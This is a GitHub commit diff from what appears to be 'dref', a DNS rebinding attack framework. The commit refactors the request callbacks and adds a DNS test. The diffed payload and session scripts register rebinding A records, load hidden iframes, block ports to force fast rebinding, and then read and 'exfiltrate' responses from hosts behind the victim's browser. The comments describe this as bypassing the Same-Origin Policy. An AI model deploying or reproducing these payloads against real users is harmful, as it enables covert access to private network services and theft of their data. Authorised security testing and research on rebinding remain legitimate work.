Skip to content

Commit bb591b3

Browse files
author
serain
committed
use curly braces to pass network get and post callbacks
1 parent ace9a20 commit bb591b3

File tree

6 files changed

+104
-61
lines changed

6 files changed

+104
-61
lines changed

dref/dns/tests/dns/handler.test.js

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -136,3 +136,20 @@ test('returns answer with defined address for A record when rebind', async () =>
136136
expect(answer.addresses).toEqual(['1.2.3.4'])
137137
})
138138
})
139+
140+
test('returns answer with two addresses for dual record', async () => {
141+
global.config = { general: { domain: 'hello.com', address: '10.0.0.1' } }
142+
const handler = new DNSHandler()
143+
const rinfo = { address: '127.0.0.1', port: '1234' }
144+
// $ dig a z.hello.com @localhost
145+
const queryData = Buffer.from([
146+
0xaa, 0xaa, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
147+
0x01, 0x7a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x03, 0x63, 0x6f, 0x6d,
148+
0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10, 0x00, 0x00, 0x00,
149+
0x00, 0x00, 0x00, 0x00
150+
])
151+
152+
await handler.query(queryData, rinfo).then(answer => {
153+
expect(answer.addresses).toEqual(['10.0.0.1', '1.2.3.4'])
154+
})
155+
})

dref/scripts/src/libs/network.js

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
import IPCIDR from 'ip-cidr'
22

3-
export function postJSON (url, data, successCb, failCb) {
3+
export function postJSON (url, data, { successCb, failCb, timeoutCb } = {}) {
44
const xhr = new XMLHttpRequest()
55

66
xhr.onreadystatechange = function () {
@@ -11,12 +11,16 @@ export function postJSON (url, data, successCb, failCb) {
1111
}
1212
}
1313

14+
xhr.ontimeout = function () {
15+
timeoutCb()
16+
}
17+
1418
xhr.open('POST', url, true)
1519
xhr.setRequestHeader('Content-type', 'application/json; charset=utf-8')
1620
xhr.send(JSON.stringify(data))
1721
}
1822

19-
export function get (url, successCb, failCb, timeoutCb) {
23+
export function get (url, { successCb, failCb, timeoutCb } = {}) {
2024
const xhr = new XMLHttpRequest()
2125

2226
xhr.onreadystatechange = function () {
@@ -40,7 +44,7 @@ export function get (url, successCb, failCb, timeoutCb) {
4044
xhr.send()
4145
}
4246

43-
export function post (url, data, successCb, failCb) {
47+
export function post (url, data, { successCb, failCb, timeoutCb } = {}) {
4448
const xhr = new XMLHttpRequest()
4549

4650
xhr.onreadystatechange = function () {
@@ -53,6 +57,10 @@ export function post (url, data, successCb, failCb) {
5357
}
5458
}
5559

60+
xhr.ontimeout = function () {
61+
timeoutCb()
62+
}
63+
5664
xhr.open('POST', url, true)
5765
xhr.setRequestHeader('Pragma', 'no-cache')
5866
xhr.setRequestHeader('Cache-Control', 'no-cache')

dref/scripts/src/libs/session.js

Lines changed: 49 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -41,19 +41,23 @@ export default class Session {
4141
script: script || window.env.script,
4242
fastRebind: fastRebind,
4343
args: args
44-
}, () => {
45-
network.postJSON(this.baseURL + '/arecords', {
46-
domain: target + '.' + window.env.domain,
47-
address: address,
48-
port: port,
49-
dual: fastRebind
50-
}, () => {
51-
// create the iframe
52-
const ifrm = document.createElement('iframe')
53-
ifrm.setAttribute('src', 'http://' + target + '.' + window.env.domain + ':' + port)
54-
ifrm.style.display = 'none'
55-
document.body.appendChild(ifrm)
56-
})
44+
}, {
45+
successCb: () => {
46+
network.postJSON(this.baseURL + '/arecords', {
47+
domain: target + '.' + window.env.domain,
48+
address: address,
49+
port: port,
50+
dual: fastRebind
51+
}, {
52+
successCb: () => {
53+
// create the iframe
54+
const ifrm = document.createElement('iframe')
55+
ifrm.setAttribute('src', 'http://' + target + '.' + window.env.domain + ':' + port)
56+
ifrm.style.display = 'none'
57+
document.body.appendChild(ifrm)
58+
}
59+
})
60+
}
5761
})
5862
}
5963

@@ -63,41 +67,47 @@ export default class Session {
6367
network.postJSON(this.baseURL + '/arecords', {
6468
domain: window.env.target + '.' + window.env.domain,
6569
rebind: true
66-
}, () => {
67-
// block this port if we're doing fastRebind
68-
if (window.env.fastRebind) {
69-
network.postJSON(this.baseURL + '/iptables', {
70-
port: this.sessionPort,
71-
block: true
72-
})
70+
}, {
71+
successCb: () => {
72+
// block this port if we're doing fastRebind
73+
if (window.env.fastRebind) {
74+
network.postJSON(this.baseURL + '/iptables', {
75+
port: this.sessionPort,
76+
block: true
77+
})
78+
}
7379
}
7480
})
7581

7682
// wait for rebinding to occur
7783
const wait = (time) => {
78-
network.get(this.baseURL + '/checkpoint', function () {
79-
// success callback
80-
// if we're still getting a 200 OK on /checkpoint it means we're
81-
// doing slow-rebind and we've not yet rebinded
82-
window.setTimeout(() => {
83-
wait(time)
84-
}, time)
85-
}, function (code) {
86-
// fail callback
87-
88-
// if we get an error code of 0 it means we're using fast-rebind
89-
// and we've not yet rebinded
90-
if (code === 0) {
84+
network.get(this.baseURL + '/checkpoint', {
85+
successCb: function () {
86+
// success callback
87+
// if we're still getting a 200 OK on /checkpoint it means we're
88+
// doing slow-rebind and we've not yet rebinded
9189
window.setTimeout(() => {
9290
wait(time)
9391
}, time)
94-
} else {
95-
// if we're getting another error it means we've rebinded
96-
// (ie: the test path /checkpoint doesn't exist on the host)
97-
resolve()
92+
},
93+
failCb: function (code) {
94+
// fail callback
95+
96+
// if we get an error code of 0 it means we're using fast-rebind
97+
// and we've not yet rebinded
98+
if (code === 0) {
99+
window.setTimeout(() => {
100+
wait(time)
101+
}, time)
102+
} else {
103+
// if we're getting another error it means we've rebinded
104+
// (ie: the test path /checkpoint doesn't exist on the host)
105+
resolve()
106+
}
107+
},
108+
timeoutCb: function () {
109+
// timeout callback
98110
}
99-
}, function () {
100-
// timeout callback
101111
})
102112
}
103113
wait(1000)

dref/scripts/src/payloads/fast-rebind.js

Lines changed: 12 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -22,15 +22,18 @@ async function mainFrame () {
2222

2323
function rebindFrame () {
2424
session.triggerRebind().then(() => {
25-
network.get(session.baseURL + window.args.path, (code, headers, body) => {
26-
// success callback
27-
session.log({ code: code, headers: headers, body: body })
28-
session.done()
29-
}, (code, headers, body) => {
30-
// fail callback
31-
// (we still want to exfiltrate the response even if it's i.e. a 404)
32-
session.log({ code: code, headers: headers, body: body })
33-
session.done()
25+
network.get(session.baseURL + window.args.path, {
26+
successCb: (code, headers, body) => {
27+
// success callback
28+
session.log({ code: code, headers: headers, body: body })
29+
session.done()
30+
},
31+
failCb: (code, headers, body) => {
32+
// fail callback
33+
// (we still want to exfiltrate the response even if it's i.e. a 404)
34+
session.log({ code: code, headers: headers, body: body })
35+
session.done()
36+
}
3437
})
3538
})
3639
}

dref/scripts/src/payloads/fetch-page.js

Lines changed: 10 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -16,13 +16,16 @@ async function mainFrame () {
1616

1717
function rebindFrame () {
1818
session.triggerRebind().then(() => {
19-
network.get(session.baseURL + window.args.path, (code, headers, body) => {
20-
// success callback
21-
session.log({ code: code, headers: headers, body: body })
22-
}, (code, headers, body) => {
23-
// fail callback
24-
// (we still want to exfiltrate the response even if it's i.e. a 404)
25-
session.log({ code: code, headers: headers, body: body })
19+
network.get(session.baseURL + window.args.path, {
20+
successCb: (code, headers, body) => {
21+
// success callback
22+
session.log({ code: code, headers: headers, body: body })
23+
},
24+
failCb: (code, headers, body) => {
25+
// fail callback
26+
// (we still want to exfiltrate the response even if it's i.e. a 404)
27+
session.log({ code: code, headers: headers, body: body })
28+
}
2629
})
2730
})
2831
}

dref/scripts/src/payloads/web-discover.js

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -26,9 +26,11 @@ function rebindFrame () {
2626
// After this we'll have bypassed the Same-Origin Policy
2727
session.triggerRebind().then(() => {
2828
// We can now read the response across origin...
29-
network.get(session.baseURL, (code, headers, body) => {
30-
// ... and exfiltrate it
31-
session.log({ code: code, headers: headers, body: body })
29+
network.get(session.baseURL, {
30+
successCb: (code, headers, body) => {
31+
// ... and exfiltrate it
32+
session.log({ code: code, headers: headers, body: body })
33+
}
3234
})
3335
})
3436
}

0 commit comments

Comments
 (0)